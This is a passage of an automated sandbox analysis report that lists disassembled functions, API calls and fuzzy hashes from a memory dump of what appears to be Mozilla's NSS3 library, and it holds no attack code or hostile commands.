Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 46afb1445a2b6400ff7a2a78d7932bd0dac331027c54a9cf5566a0a492e479af
Instruction ID: 33b0695ce729008134f36a30a679248450fab505232873070f107ccb6560f3bc
Opcode Fuzzy Hash: 46afb1445a2b6400ff7a2a78d7932bd0dac331027c54a9cf5566a0a492e479af
Instruction Fuzzy Hash: 01318271604704CFD710AF69D0886AEB7F0FF89354F11592DD88987B10EB70E884CBA6

Function 6C664FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665064

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction ID: bdfe0447e42613fd556537cc03f4624798a3b4e6363ebb591745055b44525523
Opcode Fuzzy Hash: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction Fuzzy Hash: A03126B0A05606DFDB00EF69C48466ABBF4FF09304B158969E899D7B11E730E890CBD6

Function 6C689F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68A71A,FFFFFFFF,?,?), ref: 6C689FAB

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C68A71A,6C68A71A,00000000), ref: 6C689FD9

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68136A
Part of subcall function 6C681340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68137E
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?), ref: 6C6813CF
Part of subcall function 6C681340: PR_Unlock.NSS3(?,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C68A71A,6C68A71A,00000000), ref: 6C68A009
PR_SetError.NSS3(FFFFE013,00000000,6C68A71A,6C68A71A,00000000), ref: 6C68A045

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: d4c28b60839f6a0606160bdf6fc71611060ab7525502799ca62cfc588518367f
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 552195B4602206ABF7109F15DC50F66B7A9FF9535CF108128DD2987BC2EB75D414CBA4

Function 6C692DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C692E08

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C692E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C692E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C692E95

Part of subcall function 6C681200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C681228
Part of subcall function 6C681200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C681238
Part of subcall function 6C681200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68124B
Part of subcall function 6C681200: PR_CallOnce.NSS3(6C782AA4,6C6812D0,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68125D
Part of subcall function 6C681200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C68126F
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C681280
Part of subcall function 6C681200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C68128E
Part of subcall function 6C681200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C68129A
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6812A1

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: b4d739398dfa3d799f14f7727e98741be45c56a0fd9c0afe004bfa3e41d48d3b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B1212BB1D013464BE700CF549D84BAB3764AF9230CF110269DD185B752F7B1E699C3AA

Function 6C661870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6618A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C646C34,?,?,00000001,00000000,00000007,?), ref: 6C6618B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C646C34,?,?), ref: 6C6618E1
PR_SetError.NSS3(00000000,00000000), ref: 6C6618F9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 81cd9d16296ed5a66cb6d94b3ee6401ba40560852d3736be3ed59eafe169eb10
Instruction ID: 8ef19ef2b981d3d03b2eccea4d57f9ef9067960afef05b1dca90ac38b520e829
Opcode Fuzzy Hash: 81cd9d16296ed5a66cb6d94b3ee6401ba40560852d3736be3ed59eafe169eb10
Instruction Fuzzy Hash: 0C21D071E002199BDB01AF68DC45AEE7B74FF0A318F140178ED0557701EB35A928CBE5

Function 6C64ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64ACC2

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C622AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C620A1B,00000000), ref: 6C622AF0
Part of subcall function 6C622AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C64AD5E

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

CERT_DestroyCertList.NSS3(?), ref: 6C64AD36

Part of subcall function 6C622F50: CERT_DestroyCertificate.NSS3(?), ref: 6C622F65
Part of subcall function 6C622F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C622F83

free.MOZGLUE(?), ref: 6C64AD4F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction ID: 0bb582db0697068806ad80885e556d798d48e5f177fa7333daf12105002df7e5
Opcode Fuzzy Hash: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction Fuzzy Hash: 042181B1D002189BEB10DF64D8055EEB7B4AF06259F15C079D805BBB02FB31AA59CBAD

Function 6C673C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C673C9E
EnterCriticalSection.KERNEL32(?), ref: 6C673CAE
PR_Unlock.NSS3(?), ref: 6C673CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C673D02

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b18c0aaee844213b135b66f05c66119e67e4752e87de917637ca09b255361464
Instruction ID: 8faa9cb80757a6588d120d72cf8d0f8aad62ce18baee27100126d492407263a5
Opcode Fuzzy Hash: b18c0aaee844213b135b66f05c66119e67e4752e87de917637ca09b255361464
Instruction Fuzzy Hash: 2811D675A00214AFDB109F24DC48A9637B8EF0A369F154470FD088B712E730ED54CBE5

Function 6C67ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C67F0AD,6C67F150,?,6C67F150,?,?,?), ref: 6C67ECBA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C67ECD1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C67ED02

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C67ED5A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: ad77e5b24b5276f73cbe428a43698ed619f8262246017e69cbd8050d653d60db
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 782104B19017425FE300CF21DA04B92B7E4BFA5348F25C215E81C87661FB70E594C6E8

Function 6C64C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C64C890

Part of subcall function 6C648F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
Part of subcall function 6C648F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

PR_GetCurrentThread.NSS3 ref: 6C64C8B2

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C64C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64C8EB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 14c320d17600893f8acd73c9a768451006d53c8d663de0ccbe05bfe37447ffd7
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 82018276E012157FE7003AB96C80AAF3A699B4625CF14C135FD05E6B11E761881C92EA

Function 6C6AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE14

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(?,?,6C699767,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE33

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction ID: 9f8d7ba555b44ad07a81ba9d3129205ea3a430945f42099631293bb36d9dabc7
Opcode Fuzzy Hash: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction Fuzzy Hash: 0D11A7B1A01716ABDB109EA5DC84B46B3A8FB1435DF104535E91982A40E331E87687E9

Function 6C62DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_NewCertList.NSS3 ref: 6C62DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C62DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62E029

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 60fd92414a0afbcb06d4d5688ca191ee1eda040d9ffa4a1e19e303d5b1ffbb33
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 4D110C71A042056BDB105EB95C44FEBF668EF8535DF040534E9189BB40E73EC8269EED

Function 6C648DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C648DE7
EnterCriticalSection.KERNEL32 ref: 6C648DFC
PR_Unlock.NSS3 ref: 6C648E2D
PR_SetError.NSS3 ref: 6C648E49

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction ID: 038cb61ede15d283457a90df56a4137aa13e45ea50db2364585460fcdd6af53e
Opcode Fuzzy Hash: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction Fuzzy Hash: A4118F716056149BD700AF78C4486AABBF4FF0A354F018969DC88D7B10E730E854CBD6

Function 6C6CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACDB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

